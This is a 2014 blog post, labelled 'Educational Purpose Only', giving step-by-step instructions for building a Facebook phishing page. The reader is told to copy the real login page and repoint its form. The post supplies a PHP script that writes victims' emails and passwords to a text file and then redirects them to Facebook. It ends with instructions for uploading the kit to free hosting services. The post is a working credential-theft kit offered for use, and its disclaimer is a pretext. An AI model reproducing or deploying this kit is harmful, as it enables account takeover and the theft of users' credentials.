Thursday, 6 March 2014

Facebook Phishing Hack [Educational Purpose Only]

THIS HACK IS MEANT FOR EMERGENCY CASES ONLY AND FOR CASES OF LOST OR STOLEN PASSWORD. WE ARE NOT HELD RESPONSIBLE FOR ANY KIND OF DAMAGE CAUSED BY IT. YOU HAVE BEEN WARNED, DO AT YOUR OWN RISK.

Update 1: You don't need to create those 2 files mentioned below. Just download them from here (I've created them already to reduce your pain) and proceed to step 7 directly.


For making phishing page for any website you need 3 types of files in common.They are

.Html file ( thats the fake page )
.Php file or any other action script page (for tracking the details that entered in page created by you)
.Txt file ( To save all the details in text format )

HOW TO MAKE FACEBOOK PHISHING PAGE


1. Open Facebook login page (make sure that the page is loaded completely) and right click and select view source or view source code option to see the source code of the loaded login page.


2. Select all ( CTR + A ) and copy all the code and paste it in notepad.

3. Then search(CTR + F) for the keyword action.You can see the code as given below.

action="https://www.facebook.com/login.php?login_attempt=1"

4. Just change the above code as mentioned below


action="server-not-available.php" 

After changing to server-not-available.php (or anyname.php) just save it in the form index.html or (anyname.html). By finishing this step our phishing page is ready.Now we want to create script page for this phishing page.

5. For creating a php script,just copy the below php code into notepad and save in the format 
server-not-available.php (name mentioned in action of our phishing page)


<?php
$fp = fopen("lol.txt", "a");
fwrite($fp, "Email:$_POST[email]\tPassword:$_POST[pass]");
   header( 'Location: https://www.facebook.com/' ) ;
?>

Note:‘http://www.facebook.com‘ is the redirection url,When victim will enter his/her email and password he will redirected to’http://www.facebook.com

6. By this step our PHP script is also ready,

7. Now host these 3 files

index.html
server-not-available.php

lol.txt (will be created automatically when user enter login details)

Upload them in any of free hosting servers like host-ed, drivehq ,110 mb ,000webhost.com, t35.com or you can get a list of free hosters here (or any other,you can just google the term "free hosting" ). Make sure that these 2 files are in same directory.


COMMON CAUSE OF FAILURE:

1. Make sure the files or directory has rights to read, write etc
2. Don't rename any file if asked by your host manager

No comments:

Post a Comment